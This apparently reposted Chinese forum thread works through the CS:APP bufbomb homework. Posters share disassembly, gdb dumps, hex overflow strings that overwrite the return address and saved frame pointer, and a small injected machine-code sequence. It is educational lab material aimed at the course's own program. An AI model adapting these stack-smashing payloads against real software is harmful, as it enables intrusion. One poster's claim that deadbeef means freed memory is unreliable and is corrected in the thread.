標(biāo)題: 緩沖區(qū)溢出攻擊實驗 [打印本頁]

作者: 51黑tt    時間: 2016-3-6 02:04
標(biāo)題: 緩沖區(qū)溢出攻擊實驗
這是出自《深入理解計算機(jī)系統(tǒng)》的一道題目:
[code:1:d0aaabbf15]
/* Bomb program that is solved using a buffer overflow attack */
#include
#include
#include
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != '\n') {
if (isxdigit(c)) {
int val;
if ('0' <= c && c <= '9')
val = c - '0';
else if ('A' <= c && c <= 'F')
val = c - 'A' + 10;
else
val = c - 'a' + 10;
if (even) {
otherd = val;
even = 0;
} else {

*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = '\0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don't get complaint of unused variable */
test();
return 0;
}
[/code:1:d0aaabbf15]
題目的要求是,在getbuf函數(shù)中也許“顯然”地會返回1,通過輸入一個數(shù)據(jù)使這個函數(shù)返回0xdeadbeef,就是在test函數(shù)中地printf中打印地是0xdeadbeef.
我大概有了思路,做著玩玩,晚上回來再說。
FreeGnu 回復(fù)于:2004-11-03 21:47:59 要是能來篇
堆的溢出或shellcode的編寫就更好了


   本篇文章共13頁,此頁為首頁   下一頁


期望中......
converse 回復(fù)于:2004-11-03 22:40:07 思路已經(jīng)想到了,還沒有時間實踐,分析如下:
當(dāng)函數(shù)test在調(diào)用getbuf的時候,棧的分布情況大致如下:
[code:1:384b9f0f0e]
| | <- test的棧幀 (地址在高位)
|為局部變量分配空間(val) |
| 其他的一些空間 |
| 返回地址 |
| | <-getbuf的棧幀 (地址在低位)
|為局部變量分配空間(buf變量) |
| 其他的一些空間 |
| 返回地址 |
| |
[/code:1:384b9f0f0e]
而getbuf中的局部變量buf數(shù)組就是緊靠著getbuf棧幀的數(shù)據(jù)空間,當(dāng)這個空間溢出的時候,數(shù)據(jù)就會跑到test函數(shù)的棧幀中。
看下面的test函數(shù)的匯編代碼:
[code:1:384b9f0f0e]
00000115 <_test>:
115: 55 push %ebp
116: 89 e5 mov %esp,%ebp
118: 83 ec 18 sub $0x18,%esp
11b: c7 04 24 ee 00 00 00 movl $0xee,(%esp)
122: e8 00 00 00 00 call 127 <_test+0x12>
127: e8 aa ff ff ff call d6 <_getbuf>
12c: 89 45 fc mov %eax,0xfffffffc(%ebp)
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
132: 89 44 24 04 mov %eax,0x4(%esp)
計算機(jī)教程【好玩】緩沖區(qū)溢出攻擊實驗來自www.itwen.comIT WEN計算機(jī)教程網(wǎng)

136: c7 04 24 ff 00 00 00 movl $0xff,(%esp)
13d: e8 00 00 00 00 call 142 <_test+0x2d>
142: c9 leave
143: c3 ret
[/code:1:384b9f0f0e]
注意到12c那一行,是把調(diào)用getbuf函數(shù)的返回值傳到局部變量0xfffffffc(%ebp)中,就是val,接下來的一行就是把這個局部變量傳到eax寄存器再由寄存器傳到test棧幀的后面然后再調(diào)用printf函數(shù)。
我的修改思路如下,反匯編出從getbuf函數(shù)的棧幀中buf數(shù)組那部分直到test中val變量之間的代碼,其他的部分不改變,改變的只有以下兩個部分:
1)修改test函數(shù)的返回地址,使這個地址指向12f那一行,就是說把
mov %eax,0xfffffffc(%ebp)這一行跳過,直接把變量val的值傳到printf中
2)找到val在棧幀所在的位置,把這個位置的代碼改為我們所要的,也就是0xdeadbeef.
思路大致如上面所說,明天有時間實踐看看。
不知道說清楚沒有,大家給點(diǎn)意見。
converse 回復(fù)于:2004-11-03 23:09:44 簡而言之,修改后的test函數(shù)是這樣的:
[code:1:d925617121]
void test()
{
int val = 0xdeadbeef; //把val變量改為我們需要的值
printf("Type Hex string:");
//val = getbuf(); //單獨(dú)調(diào)用getbuf函數(shù),不把返回值放在val中
getbuf();
printf("getbuf returned 0x%x\n", val);
}
[/code:1:d925617121]
aero 回復(fù)于:2004-11-04 08:42:48 在《黑客就這么幾招》中有很詳細(xì)的緩沖區(qū)溢出漏洞的原理和shellcode的編寫。
^_^,當(dāng)初在書店看到這書,本來打算翻開嘲笑一翻,因為這個名字太張揚(yáng)了。不過,看了卻發(fā)現(xiàn),有很多廢話(教授工具和講述歷史)以外,還是有些內(nèi)容的。尤其將緩沖區(qū)溢出漏洞和格式化字符串漏洞的原理講述的尤為詳細(xì)。

   本篇文章共13頁,此頁為第2 頁   上一頁   下一頁




aero 回復(fù)于:2004-11-04 09:19:06 converse,你的思路錯了。題目的意思,不是想讓你覆蓋val的值,這樣做沒有什么意義。而是想讓你通過getbuf函數(shù)返回一個地址。這才是有用的。
我們能控制它返回一個值,我們就能進(jìn)一步讓這個值覆蓋getbuf函數(shù)返回時要執(zhí)行的指令。如果我們在我們控制的這個返回值的地址上,放上一個shellcode。那么就能讓程序“脫軌”,而進(jìn)入我們設(shè)定的“軌道”。
converse 回復(fù)于:2004-11-04 09:28:19 是的,現(xiàn)在這樣看應(yīng)該有很多辦法實現(xiàn),因為既然找到了覆蓋返回時執(zhí)行指令的辦法就可以為所欲為了,我晚上再做做看吧。
aero 回復(fù)于:2004-11-04 11:13:04 converse兄,你的思路還是正確的,偶剛才說錯了,^_^,莫怪。
呵呵,剛才深入搞了一下,這個還真不簡單。這個題要求我們溢出,讓程序“脫軌”一段后,還要回到原來的“軌道”上去,繼續(xù)打印出val的值。不能是像平常的溢出攻擊一樣,讓它“脫軌”,走我們設(shè)定的“軌道”就好了。所以想了一下,要做的事情有4步:
1、計算出getbuf函數(shù)下一條指令(給val賦值)的下一條指令的地址:A。
2、計算出getbuf函數(shù)返回的棧幀的地址:B。B中原來存放的是getbuf函數(shù)下一條指令(給val賦值)的地址:C。
3、通過輸入精心設(shè)計的輸入串,將A(內(nèi)容)寫入B(地址),即用A,覆蓋C,使函數(shù)返回的時候跳過給val賦值的部分。使火車“脫軌”,繞過一個“站點(diǎn)”后,繼續(xù)回到原來的鐵路上。
4、精心設(shè)計的輸入串,同時也要用0x覆蓋val變量,就像converse說的。
關(guān)鍵就在于計算A和B。A要計算出絕對的數(shù)值,B起碼要計算出相對的數(shù)值。A的計算,單從程序上看,實在想不出什么辦法。莫非要去分析gcc將每條指令都翻譯成了什么,占多少字節(jié)?B的計算,相對比較容易,可以從在棧上分配的空間計算出來,可是,匯編了C程序分析了一下。gcc總是在分配空間的時候很“大方”,總是多讓出一些字節(jié)(防止溢出攻擊?),而且,郁悶的是,讓出的這些空間,大小不是固定的。有的函數(shù)是8個字節(jié),有的函數(shù)是12個字節(jié),真是找不到規(guī)律。難道要去讀gcc的源碼?

搞了一上午,不能搞了。今天任務(wù)要完不成了。得去工作了。唉,晚上回來在說吧。
win_hate 回復(fù)于:2004-11-06 00:52:01 :D

運(yùn)行在 VMWare 上的 gentoo linux, 通過 xshell 訪問。

aero 回復(fù)于:2004-11-06 09:44:29 哈哈哈,好啊,好啊。來,來,講講原理。講講怎么做的。
converse 回復(fù)于:2004-11-06 13:26:32 看到win_hate作出來了,我也不能閑著了,也做了一個玩玩。
我用cygwin測試的結(jié)果,注意在gdb中我打印出來的值,這些就是要修改的地方。
另外要注意的是這里的ebp是在getbuf中的,所以這里給出的數(shù)據(jù)也是相對于getbuf棧幀的數(shù)據(jù)。
它們分別是
1)$ebp:test棧幀的地址,當(dāng)調(diào)用getbuf函數(shù)的時候要壓入棧保存,這里要原封不動的寫出來
2)$ebp+4:從getbuf函數(shù)中返回以后執(zhí)行的指令的下一個指令的地址,注意原來的值是0x401183,可是我寫回去的時候變成了0x401186,詳細(xì)的說明見我下面的說明。
3)$ebp+32和$ebp+36,我不知道為什么還要寫入這兩個值,因為我認(rèn)為改動只要到修改val的值就夠了,可是這樣會出錯的,見我下面的說明。

我用cygwin測試的結(jié)果,注意在gdb中我打印出來的值,這些就是要修改的地方

converse 回復(fù)于:2004-11-06 13:35:56 說明一下修改的地方吧,如下,注意我的機(jī)子是小端法表示的:
1)d8ef2200:用小端法就是0x22efd8,這個是test棧幀的ebp的值,在調(diào)用getbuf的時候壓入棧中保存,這里要原封不動的寫出來。
2)86114000:先看看test函數(shù)的反匯編代碼吧,如下:
[code:1:3369b076c6]
00000115 <_test>:
115: 55 push %ebp
116: 89 e5 mov %esp,%ebp


   本篇文章共13頁,此頁為第3頁   上一頁   下一頁





118: 83 ec 18 sub $0x18,%esp
11b: c7 04 24 ee 00 00 00 movl $0xee,(%esp)
122: e8 00 00 00 00 call 127 <_test+0x12>
127: e8 aa ff ff ff call d6 <_getbuf>
12c: 89 45 fc mov %eax,0xfffffffc(%ebp) ;從getbuf函數(shù)中返回就執(zhí)行這個指令。
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
132: 89 44 24 04 mov %eax,0x4(%esp)
136: c7 04 24 ff 00 00 00 movl $0xff,(%esp)
13d: e8 00 00 00 00 call 142 <_test+0x2d>
142: c9 leave
143: c3 ret
[/code:1:3369b076c6]
12c中的指令mov %eax,0xfffffffc(%ebp) 是從getbuf函數(shù)中返回的時候就要執(zhí)行的指令,指令長度為3個字節(jié),因為指令的編碼是89 45 fc,我們的改動必須跳過這個指令。
因此我們求出ebp+4的內(nèi)容,這個內(nèi)容就是這個指令的執(zhí)行地址,把這個地址加3就是下一個指令即
[code:1:3369b076c6]
12f: 8b 45 fc mov 0xfffffffc(%ebp),%eax
[/code:1:3369b076c6]
的地址。
因此,86114000用小端法表示就是0x401186就是下一條指令的地址。
3)efbeadde:向局部變量val寫入我們要修改的值。

converse 回復(fù)于:2004-11-06 13:40:47 見這副圖,如果我輸入的值只到0xdeadbeef的時候程序就會出現(xiàn)"segmentation fault",win_hate能解釋一下為什么嗎??

出現(xiàn)問題的圖片

afministrator 回復(fù)于:2004-11-06 15:30:18 啊,沒有看明白呀
win_hate 回復(fù)于:2004-11-06 20:02:17 [quote:2d23f4cb3e="converse"]見這副圖,如果我輸入的值只到0xdeadbeef的時候程序就會出現(xiàn)"segmentation fault",win_hate能解釋一下為什么嗎??[/quote:2d23f4cb3e]
val 后面是 test 棧幀中的保存 ebp 值和返回地址,在 getxs 中最后部分有一句
[code:1:2d23f4cb3e]
*sp++ = '\0';
[/code:1:2d23f4cb3e]
會破壞保存的 ebp 值
converse 回復(fù)于:2004-11-06 20:23:42 [quote:a7e041e65c="win_hate"]
會破壞保存的 ebp 值[/quote:a7e041e65c]
明白了,最后的兩個32位的字符串,一個是main函數(shù)的ebp的值,一個是從test函數(shù)中返回后main函數(shù)的下一條指令的地址。
converse 回復(fù)于:2004-11-07 13:14:12 還有一個問題,就是從鍵盤輸入字符串的時候,這里輸入的字符串到底是存放在哪里的?這個輸入一直要到輸入回車鍵的時候才開始輸入到buf數(shù)組中吧?
aero 回復(fù)于:2004-11-08 12:59:54 ^_^,偶也做出來了。地址是用gdb看出來的。要是能計算出來就好了。
另,converse,你是用什么反匯編的啊?怎么讓指令和機(jī)器碼一同顯示?就是像debug那樣。
[code:1:fc25016126]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:12 23 34 45 56 67 78 89 90 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 f8 ef ff bf ca 84 04 08 12 23 34 45 ef be ad de e8 fb ff bf 1f 85 04 08


   本篇文章共13頁,此頁為第4頁   上一頁   下一頁





getbuf returned 0xdeadbeef
[yangwl:/home/users50/yangwl/test/converse]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2/specs
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --host=i386-redhat-linux --with-system-zlib --enable-__cxa_atexit
Thread model: posix
gcc version 3.2 20020903 (Red Hat Linux 8.0 3.2-7)
[yangwl:/home/users50/yangwl/test/converse]$ uname -a
Linux db2 2.4.18-14smp #1 SMP Wed Sep 4 12:34:47 EDT 2002 i686 i686 i386 GNU/Linux
[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:fc25016126]
converse 回復(fù)于:2004-11-08 13:08:58 [quote:6fea16f599="aero"] 另,converse,你是用什么反匯編的啊?怎么讓指令和機(jī)器碼一同顯示啊?就是像debug那樣。[/quote:6fea16f599]
首先是 gcc -c參數(shù)產(chǎn)生目標(biāo)代碼文件,然后用objdump -D就可以反匯編目標(biāo)文件了

aero 回復(fù)于:2004-11-08 13:15:42 哈哈,學(xué)到,謝謝。
rootkitT 回復(fù)于:2004-11-08 16:55:25 進(jìn)來晚了,你們都說完了我才看見
上面的兄弟,小弟頂一下先
win_hate 回復(fù)于:2004-11-08 17:38:26 其實還可以討論的,如果不介意程序崩潰,可以這么做:



aero 回復(fù)于:2004-11-08 19:00:06 [quote:2a63f73a60="win_hate"]其實還可以討論的,如果不介意程序崩潰,可以這么做:[/quote:2a63f73a60]
:em02: :em02: ^_^,好,又換了個思路,徹底改變了val變量的位置。
偶的:
[code:1:2a63f73a60]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de 56 67 78 89 90 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef
Segmentation fault
[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:2a63f73a60]
aero 回復(fù)于:2004-11-08 19:09:23 win_hate其實,這種思路,也可以不怕程序崩潰的。我們改動了ebp,在改回去就是了,一樣可以返回到main里面的正常路徑上去的。
[code:1:090f431f6c]
[yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de e8 fb ff bf 17 85 04 08 13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef


   本篇文章共13頁,此頁為第5頁   上一頁   下一頁





[yangwl:/home/users50/yangwl/test/converse]$
[/code:1:090f431f6c]
win_hate 回復(fù)于:2004-11-08 19:19:34 改哪里,如何改?
aero 回復(fù)于:2004-11-08 19:23:42 [yangwl:/home/users50/yangwl/test/converse]$ ./a.out
Type Hex string:ef be ad de [color=red:06eba410e1]e8 fb ff bf 17 85 04 08 [/color:06eba410e1]13 14 15 16 17 18 19 20 21 22 23 24 d4 ef ff bf c5 84 04 08
getbuf returned 0xdeadbeef
[yangwl:/home/users50/yangwl/test/converse]$
這里,把main里面的ebp和指令地址在完好的給改回去不就好了?
win_hate 回復(fù)于:2004-11-08 19:28:58 在我的系統(tǒng)上不行,你看看我給出的串,我已經(jīng)給出了相應(yīng)地址。
在我的系統(tǒng)上,似乎 printf 會覆蓋我填進(jìn)去的值。
aero 回復(fù)于:2004-11-08 19:37:57 ^_^,好好看看。想看到結(jié)論。加油。
Solaris12 回復(fù)于:2004-11-09 10:39:32 [quote:1e8230e8fb="converse"]見這副圖,如果我輸入的值只到0xdeadbeef的時候程序就會出現(xiàn)"segmentation fault",win_hate能解釋一下為什么嗎??[/quote:1e8230e8fb]
deadbeef的意思是使用了已經(jīng)被free了的內(nèi)存,
當(dāng)然會有段錯誤了!
aero 回復(fù)于:2004-11-09 10:49:39 [quote:c3c559c01a="Solaris12"]

deadbeef的意思是使用了已經(jīng)被free了的內(nèi)存,
當(dāng)然會有段錯誤了![/quote:c3c559c01a]
不是吧。上面win_hate已經(jīng)說的很明白了,是因為后面的'\0'會破壞test壓入的ebp,以致于無法在返回main函數(shù)的時候,進(jìn)入正確的“軌道”。
Solaris12 回復(fù)于:2004-11-09 11:00:09 [quote:5561593cdd="aero"]
不是吧。上面win_hate已經(jīng)說的很明白了,是因為后面的'\0'會破壞test壓入的ebp,以致于無法在返回main函數(shù)的時候,進(jìn)入正確的“軌道”。[/quote:5561593cdd]
抱歉,剛才沒仔細(xì)看,呵呵
這個出題目的一定是老美,
deadbeef在Solaris的調(diào)試器里面有特殊含義,抱歉
aero 回復(fù)于:2004-11-09 11:08:32 [quote:af3263885c="Solaris12"]
抱歉,剛才沒仔細(xì)看,呵呵
這個出題目的一定是老美,
deadbeef在Solaris的調(diào)試器里面有特殊含義,抱歉[/quote:af3263885c]
哦,蝦米特殊含義。空f來聽聽。 :em02: :em02:
Solaris12 回復(fù)于:2004-11-09 11:30:30 [quote:40fe358080="aero"]
哦,蝦米特殊含義?說來聽聽。 :em02: :em02:[/quote:40fe358080]
其實deadbeef不止在Solaris下,恐怕在UNIX/LINUX文化里,都有
特殊含義:
DEADBEEF /ded-beef/ n.
(From the Jargon file)
The hexadecimal word-fill pattern for freshly allocated memory under a number of IBM environments, including the RS/6000. Some modern debugging tools deliberately fill freed memory with this value as a way of converting heisenbugs into Bohr bugs. As in "Your program is DEADBEEF" (meaning gone, aborted, flushed from memory); if you start from an odd half-word boundary, of course, you have BEEFDEAD. See also the anecdote under fool and dead beef attack.


   本篇文章共13頁,此頁為第6頁   上一頁   下一頁





deadbeef就是指引用已經(jīng)free的內(nèi)存
aero 回復(fù)于:2004-11-09 12:32:34 ^_^,原來還有典故的說。
流川 回復(fù)于:2004-11-09 15:16:50 哇,一個比一個強(qiáng)
afministrator 回復(fù)于:2004-11-10 10:58:23 我想你們應(yīng)用C++寫一個了呀呵呵 :em02:
pigjj 回復(fù)于:2004-12-23 14:23:43 我有一點(diǎn)不明白,你們?nèi)绾嗡愠鼍彌_區(qū)的大小 ? 是否是在getbuf中 ebp-esp 的值。
[code:1:710fc9da6e](gdb) disas getbuf
Dump of assembler code for function getbuf:
0x080484b0 : push %ebp
0x080484b1 : mov %esp,%ebp
0x080484b3 : lea 0xffffffe8(%ebp),%eax
0x080484b6 : sub $0x28,%esp
0x080484b9 : mov %eax,(%esp)
0x080484bc : call 0x8048420
0x080484c1 : mov %ebp,%esp
0x080484c3 : mov $0x1,%eax
0x080484c8 : pop %ebp
0x080484c9 : ret
0x080484ca : lea 0x0(%esi),%esi
End of assembler dump.

(gdb) b *0x080484bc
Breakpoint 2 at 0x80484bc
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pigjj/prog/c/atack/a.out
Breakpoint 2, 0x080484bc in getbuf ()
(gdb) i reg
eax 0xbfffefd0 -1073745968
ecx 0x40148080 1075085440
edx 0x10 16
ebx 0x4014e620 1075111456
esp 0xbfffefc0 0xbfffefc0
ebp 0xbfffefe8 0xbfffefe8

esi 0x400164a0 1073833120
edi 0xbffffa04 -1073743356
eip 0x80484bc 0x80484bc
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
[/code:1:710fc9da6e]
從上面可以看出 函數(shù)getbuf的棧幀大小是 0x28 ,就是40個字節(jié)。可是我的程序輸入23 個字節(jié)就 segmentation fail
[code:1:710fc9da6e](gdb) run
Starting program: /home/pigjj/prog/c/atack/a.out
Type Hex string:01 02 03 04 05 06 07 08 09 10 11 12 13 14 05 16 17 18 19 2021 22 23
getbuf returned 0x1
Program exited normally.
(gdb) run


   本篇文章共13頁,此頁為第7頁   上一頁   下一頁





Starting program: /home/pigjj/prog/c/atack/a.out
Type Hex string:01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 2021 22 23 24
getbuf returned 0x1
Program received signal SIGSEGV, Segmentation fault.
0x00000400 in ?? ()
(gdb)
[/code:1:710fc9da6e]
我想問下各位大哥,你們是怎樣確定緩沖區(qū)大小的,謝謝 :)[/code]
aero 回復(fù)于:2004-12-23 14:28:04 ^_^,你要先明白啥是緩沖區(qū)的概念,然后知道為什么會溢出,然后分析明白棧幀的哪里到哪里是表示什么的。
呵呵,看看偶blog上對這個問題的詳細(xì)分析。應(yīng)該對你有幫助。
pigjj 回復(fù)于:2004-12-24 11:04:29 不好意思我太糊涂了,犯了錯誤。
我明白緩沖區(qū)溢出是我們輸入的字節(jié)超出了gcc分配給buf的大小,可是問題的關(guān)鍵是我們?nèi)绾未_定gcc分配給buf的空間,
調(diào)用getxs 前getbuf 的棧幀
-----------------
| | <-------保存的ebp 4個字節(jié)
------------------
| |
| |
| |
| | buf在這段空間的哪一部分,如何確定大小
| |
| |
| |
| |
-----------
| | 返回地址4個字節(jié)。
-----------
aero 回復(fù)于:2004-12-24 11:08:20 看源碼啊,然后結(jié)合編譯器的對齊規(guī)則。^_^,其實,各種不同的編譯優(yōu)化選項也可以使它不同呢,甚至可以不使用ebp呢。

看源碼,然后編譯,然后調(diào)試,然后確定,然后實驗,然后去試目標(biāo)。
pigjj 回復(fù)于:2004-12-25 18:50:07 [code:1:6fe8060e4c]
pigjj@Ale:~/prog/c/atack$ uname -a
Linux Ale 2.4.26-1-386 #1 Thu Jul 22 12:46:23 JST 2004 i686 GNU/Linux
pigjj@Ale:~/prog/c/atack$ gcc -v
Reading specs from /usr/lib/gcc-lib/i486-linux/3.3.4/specs
Configured with: ../src/configure -v --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-clocale=gnu --enable-debug --enable-java-gc=boehm --enable-java-awt=xlib --enable-objc-gc i486-linux
Thread model: posix
gcc version 3.3.4 (Debian 1:3.3.4-3)
pigjj@Ale:~/prog/c/atack$ ./a.out
Type Hex string:12345678 12345678 12345678 12345678 12345678 12345678 f8efffbf eb840408 44686408 efbeadde d8f9ffbf 27850408
getbuf returned 0xdeadbeef
[/code:1:6fe8060e4c]
I got it :D
zne 回復(fù)于:2005-02-17 16:20:59 前面大家都是修改了test的返回地址,修改getbuf的返回地址大家覺得可以么?


   本篇文章共13頁,此頁為第8頁   上一頁   下一頁





我想先貼一下我看的書里的原題
代碼在這里 http://csapp.cs.cmu.edu/public/code.html bufbomb.c
題目:
Homework Problem 3.38 [Category 3]:
In this problem, you will mount a buffer overflow attack on your own program.
As stated earlier, we do not condone using this or any other form of attack to gain unauthorized access to a system, but by doing thisexercise, you will learn a lot about machine-level programming.
Download the file bufbomb.c from the CS:APP website and compile it to create an executable program.
In bufbomb.c, you will find the following functions:
1 int getbuf()
2 {
3 char buf[12];
4 getxs(buf);
5 return 1;
6 }
7
8 void test()
9 {
10 int val;
11 printf("Type Hex string:");
12 val = getbuf();
13 printf("getbuf returned 0x%x\n", val);
14 }
The function getxs (also in bufbomb.c) is similar to the library gets, except that it reads charactersencoded as pairs of hex digits. For example, to give it a string “0123,” the user would type in the string“30 31 32 33.” The function ignores blank characters. Recall that decimal digit x has ASCII representation0x3x.

A typical execution of the program is as follows:
unix> ./bufbomb
Type Hex string: 30 31 32 33
getbuf returned 0x1
Looking at the code for the getbuf function, it seems quiteapparent that it will return value 1 whenever it
is called. It appears as if the call to getxs has no effect.
[color=blue:bbc752fa04]Your task is to make getbuf return -559038737(0xdeadbeef) to test, simply by typing an appropriate hexadecimal string to the prompt.[/color:bbc752fa04]
Here are some ideas that will help you solve the problem:
Use OBJDUMP to create a disassembled version of bufbomb. Study this closely to determine howthe stack frame for getbuf is organized and how overflowing the buffer will alter the saved program state.
[color=blue:bbc752fa04]Run your program under GDB. Set a breakpoint within getbuf and run to this breakpoint. [/color:bbc752fa04]Determine such parameters as the value of %ebp and the saved value of any state that will be overwritten when you overflow the buffer.


   本篇文章共13頁,此頁為第9頁   上一頁   下一頁





[color=blue:bbc752fa04] Determining the byte encoding of instruction sequences by hand is tedious and prone to errors. You can let tools do all of the work by writing an assembly code file containing the instructions and data you want to put on the stack. Assemble this file with GCC and disassemble it with OBJDUMP. You should be able to get the exact byte sequence that you will type at the prompt. .[/color:bbc752fa04]
OBJDUMP will producesome pretty strange looking assembly instructions when it tries to disassemble the data in your file,
but the hexadecimal byte sequence should be correct.
Keep in mind that your attack is very machine and compiler specific. You may need to alter your string when running on a different machine or with a different version of GCC.
zne 回復(fù)于:2005-02-17 17:01:10 我理解題目要求我們在向buf[]中輸入數(shù)據(jù)時,輸入一些能夠執(zhí)行的機(jī)器指令,在我的機(jī)器上,getbuf的棧禎是這樣
return address| test的棧幀,存儲了call getbuf之后的下一條指令地址

__saved %ebp| %ebp 從這里開始是getbuf的棧幀,存儲test的幀指針
____________|
____________|
____________|
____________|
____________|
____________|buf[]
我的想法是應(yīng)該可以在gdb下運(yùn)行bufbomb程序,在getbuf處設(shè)斷點(diǎn),當(dāng)運(yùn)行到getbuf時
print /x $ebp
得到getbuf frame pointer值,假設(shè)結(jié)果是 0xbfffffc0
print /x *(unsigned*) 0xbfffffc0
得到getbuf的 frame pointer處存儲的test的frame pointer值
print /x ($ebp-24)
得到buf[]的地址
之后我們向buf[]填入8byte數(shù)據(jù),先不考慮機(jī)器指令的編寫
改為buf[]地址 | return address
保持原值不變 | <-%ebp
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |
90 90 90 90 |buf[]
現(xiàn)在將90部分改為下面匯編語句的機(jī)器指令表示,假設(shè)正常情況下call getbuf之后的下一條指令地址為0Xxxxxxxxx
movl $deadbeef,%eax
pushl $0Xxxxxxxxx
ret
大家覺得這個方法可不可能行得通?我試過將return address覆蓋為任意一條已編譯好的instruction的地址,能夠成功。但將return address覆蓋為buf[]地址的話,就會在getbuf ret回test時發(fā)生segmentation fault.
這里為什么會發(fā)生segmentation fault?怎么才能夠ret回這個stack frame部分呢?
輸入buf的數(shù)據(jù)的最后一位'\0',感覺應(yīng)該不會產(chǎn)生什么破壞,因為將return address覆蓋為任意一條已編譯好的instruction的地址,能夠成功。
converse 回復(fù)于:2005-02-17 19:25:12 沒看懂你的意思呀,汗顏中...
你試著截圖來說明一下吧:)


   本篇文章共13頁,此頁為第10頁   上一頁   下一頁





yuxh 回復(fù)于:2005-02-17 19:56:26 不好玩!
在Linux下很正常,跑到unixware下一搞,MD,把我的虛擬機(jī)都搞沒了!
zne 回復(fù)于:2005-02-17 22:46:05 第一副圖: disassemble of test ,getbuf 和bomb
bomb 是在bufbomb.c中加的一段試驗性質(zhì)的代碼
修改后的bufbomb.c 比原先只多了一個bomb程序的定義
void bomb()
{
asm("movl $0xdeadbeef,%eax");
asm("pushl $0x080484e9");
asm("ret");
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */



zne 回復(fù)于:2005-02-17 22:48:23 第二副圖: 將getbuf返回地址改為 0x080484af, 成功



zne 回復(fù)于:2005-02-17 23:09:01 第三副圖: 將getbuf返回地址改為buf[]的地址,失敗
第一副圖中test對應(yīng)的匯編代碼里

80484bf: 8d 45 e8 lea 0xffffffe8(%ebp),%eax
80484c5: 50 push %eax
可以看出,buf[]的地址為%ebp+0xffffffe8,即%ebp-24
從第一副圖中還可得,
movl $0xdeadbeef,%eax
pushl $0x080484e9
ret
所對應(yīng)的機(jī)器指令是
b8 ef be ad de
68 e9 84 04 08
c3
這段機(jī)器代碼應(yīng)該沒有問題(因為第二副圖中所示的試驗是成功的),
但當(dāng)getbuf試圖返回buf[]處執(zhí)行時,發(fā)生了segmentation fault, 大家覺得這是什么原因呢?



converse 回復(fù)于:2005-02-18 10:36:25 我大概知道你是哪里出錯了--順序問題,應(yīng)該是從高到低來存放你的機(jī)器指令,而你原來是從低到高來存放的,暫時還沒有時間實踐,看你一直在線,怕你等久了,先回復(fù)這些,等會我自己試試看.
zne 回復(fù)于:2005-02-18 10:49:20 呵呵很感謝了,困擾了我近一個月^^,我白天也沒法試,還得等晚上回家才能試,
不過我試過如果機(jī)器指令全換成0X90(nop, no operation 空操作的話),還是會在getbuf的ret處出segmentation fault的,好像就沒有成功跳去buf[]地址,對于處理器和內(nèi)存操作,很多基本概念我還都不清楚
aero 回復(fù)于:2005-02-18 11:18:22 大致看了一下,發(fā)現(xiàn)有以下問題:
>>前面大家都是修改了test的返回地址,修改getbuf的返回地址大家覺得可以么?
都是修改的getbuf的返回地址。】梢钥纯次业腷log上的一篇詳細(xì)分析,一種方法是修改getbuf的返回地址并修改val的值。另一種方法是修改getbuf的返回地址并修改test種的ebp使改變val的位置使之與buf重合。
>>我的想法是應(yīng)該可以在gdb下運(yùn)行bufbomb程序,在getbuf處設(shè)斷點(diǎn),當(dāng)運(yùn)行到getbuf時
>>print /x $ebp
>>得到getbuf frame pointer值
打印出的ebp是test中的ebp值,不是getbuf中的ebp值,要用s執(zhí)行一下后才是。因為這個時候還沒有執(zhí)行movl %esp, %ebp這條指令。


   本篇文章共13頁,此頁為第11頁   上一頁   下一頁





>>大家覺得這個方法可不可能行得通?我試過將return address覆蓋為任意一條已編譯好的instruction的地址,能夠成功。但將return address覆蓋為buf[]地址的話,就會在getbuf ret回test時發(fā)生segmentation fault.這里為什么會發(fā)生segmentation fault?怎么才能夠ret回這個stack frame部分呢?
正如converse說的,堆棧的地址是從高到低的,而指令的執(zhí)行是從低到高的。將返回地址覆蓋成buf地址后,由于buf中全是空指令,不會有什么問題。但是,堆棧的上面是存儲的test中的ebp的值,這個值一般并不會是一個可以執(zhí)行的機(jī)器指令,或者是取什么地址了吧?反正就是fault了。^_^,猜的。
zne 回復(fù)于:2005-02-18 11:41:48 to aero:
一 呵呵不好意思,看錯啦
